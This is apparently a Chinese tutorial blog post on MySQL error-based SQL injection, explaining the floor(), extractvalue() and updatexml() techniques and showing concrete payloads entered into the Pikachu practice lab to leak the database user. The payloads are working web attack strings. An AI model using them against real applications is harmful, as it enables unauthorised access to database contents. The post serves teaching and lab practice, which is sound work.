SQL注入之报错注入

一、报错注入原理

报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。这个错误信息可能会包含有关数据库结构的敏感信息,如数据库名称、表名、列名等。攻击者可以利用这些信息来进一步构建更复杂的SQL注入攻击,以获取更多的数据库内容。

二、报错注入方法

报错注入的方法多种多样,常见的有以下几种:

① floor()报错注入

‌注:floor报错注入在MySQL版本8.0中已失效‌。

原理

通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

常见语句

SELECT COUNT(*),CONCAT((SELECT USER()),FLOOR(RAND(0)*2)) AS a FROM information_schema.tables GROUP BY a;
-- 结果: ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'
  • floor函数:返回小于等于括号内该值的最大整数。
  • rand函数:随机产生一个在0和1之间的小数。rand(0)中的0是固定的随机数的种子0,也就是说每次随机值是固定的;floor(rand(0)*2))则会伪随机0或1。
  • count函数:用于统计记录的数量
  • group by:用于分组

为什么查询语句会报错ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'呢?

实际上该语句在查询过程中会产生虚拟表,在插入虚拟表的过程中,因为插入了一个重复的值,所以就会抛出主键冗余的异常。具体原因可查看Mysql报错注入之函数分析

② extractvalue()报错注入

注:extractvalue报错适用于MySQL 5.1.5+ 版本

原理

通过在extractvalue函数的第二个参数注入一个无效的Xpath表达式,导致函数报错,从而获取数据。

常见语句

SELECT EXTRACTVALUE(RAND(),CONCAT(0x7e,(SELECT USER()),0x7e));
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
  • extractvalue函数extractvalue(xml_frag, xpath_expr)xml_frag是XML片段,xpath_expr是Xpath表达式。
  • concat函数:字符串拼接函数。

③ updatexml()报错注入

注:updatexml报错适用于MySQL 5.1.5+ 版本

原理

通过在updatexml函数的第二个参数注入不符合Xpath语法的表达式,从而引起数据库报错,并通过错误信息获取数据。

常见语句

SELECT UPDATEXML('x',CONCAT('~',(SELECT USER()),'~'),'x');
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~oot@localhost~'
  • updatexml函数updatexml(xml_document, XPath_string, new_value)xml_document是XML文档对象,XPath_string是Xpath路径表达式,new_value是更新后的内容。
  • concat函数:字符串拼接函数。

④ 其他报错注入

除了上述常见的报错函数外,还有其他一些函数(如exp()join等)也可以用于报错注入。这些函数在特定条件下可以触发数据库错误,从而泄露敏感信息。

三、报错注入实例

① floor()实例

在Pikachu中,进行实践。在输入框输入:1' union select count(*),1,concat((select user()),floor(rand(0)*2))as a from information_schema.tables group by a #

结果: Duplicate entry 'root@localhost1' for key 'group_key'

② extractvalue()实例

在Pikachu中,进行实践。在输入框输入:1' and (select extractvalue(rand(),concat(0x7e,(select user())))) #

结果: XPATH syntax error: '~root@localhost'

③ updatexml()实例

在Pikachu中,进行实践。在输入框输入:1' and updatexml('x',concat('~',(select user()),'~'),'x') #

结果: XPATH syntax error: '~root@localhost~'

SQL注入之报错注入的更多相关文章

  1. sql注入之报错注入and boolean注入

    1.sql注入之报错注入 正常传参,返回页面正常: 加入'  返回页面报错,出现"zhangsan"' 报错注入使用的函数 在这里我们使用 select updatexml(1,c ...

  2. [sql 注入] insert 报错注入与延时盲注

    insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...

  3. 实验吧——加了料的报错注入(exp报错注入)

    题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php 先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询 测试了一个报错函数发现如下回显, ...

  4. SQL注入之报错注入常见函数

  5. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

  6. SQL注入--盲注及报错注入

    盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...

  7. SQL注入之MySQL报错注入整理

    看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...

  8. CTF-sql-group by报错注入

    本文章主要涉及group by报错注入的原理讲解,如有错误,望指出.(附有目录,如需查看请点右下角) 一.下图为本次文章所使用到 user表,该表所在的数据库为 test 二.首先介绍一下本文章所使用 ...

  9. Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]

    在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...

  10. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

随机推荐

  1. dotnet学习笔记-专题03-RabbitMQ-01

    专题03--RabbitMQ 1. RabbitMQ安装 服务端 使用如下sh脚本安装: #!/bin/sh sudo apt-get install curl gnupg apt-transport ...

  2. k8s之Helm

    官方文档: https://helm.sh/zh/docs/intro/using_helm/ Helm 帮助您管理 Kubernetes 应用-- Helm Chart,Helm 是查找.分享和使用 ...

  3. C#日期类型转化总结【转化,农历,节气,星期】

    转为日期类型 将8位日期字符串转换为日期格式 dateStr = "20220203"; System.IFormatProvider format=new System.Glob ...

  4. C# 之 Int16 Int32 Int64 的区别-迷恋自留地

    int16 值类型表示值介于 -32768 到 +32767 之间的有符号整数. Int32 值类型表示值介于 -2,147,483,648 到 +2,147,483,647 之间的有符号整数. In ...

  5. Java基础 —— 集合(一)

    集合(一) 数组和集合的区别 数组是固定长度的数据结构,而集合是动态的数据结构 数组可以包含基本数据类型和对象,集合只能包含对象 数组只能存放同一类型的数据,而集合可以蹲房不同类型的 数组可以直接访问 ...

  6. FastExcel 合并单元格(相当的行数据,进行合并)

    目录 需求 思路 实现 Excel导出单元格全量合并策略 日期格式转换 接口代码 Service DTO 使用FastExcel数据导出:官网: https://idev.cn/fastexcel/z ...

  7. 无法加载文件 C:\Users\admin\AppData\Roaming\npm\anyproxy.ps1

    无法加载文件 C:\Users\admin\AppData\Roaming\npm\anyproxy.ps1 我们右击开始菜单,以管理员身份打开power shell 运行命令: set-Execut ...

  8. Win11 恢复 Win10 风格菜单

    这个效果最好:https://github.com/valinet/ExplorerPatcher 不要入 Start11 之类的坑,也不需要改注册表,改注册表也改不出来.

  9. 【NAS】绿联NAS+alist+lsky+natfrp 实现图床服务

    alist 安装与配置 值得一提的就是,映射的data是配置相关的,让绿联直接默认路径就行,不需要手动设置 但是文件保存位置的映射的话,为了方便,可以单独映射到一个方便访问的文件夹,(但是要注意下权限 ...

  10. 【转载】获取Java接口的所有实现类

    https://www.cnblogs.com/wangzhen-fly/p/11002814.html 前言:想看基于spring 的最简单实现方法,请直接看 第七步. 本文价值在于 包扫描的原理探 ...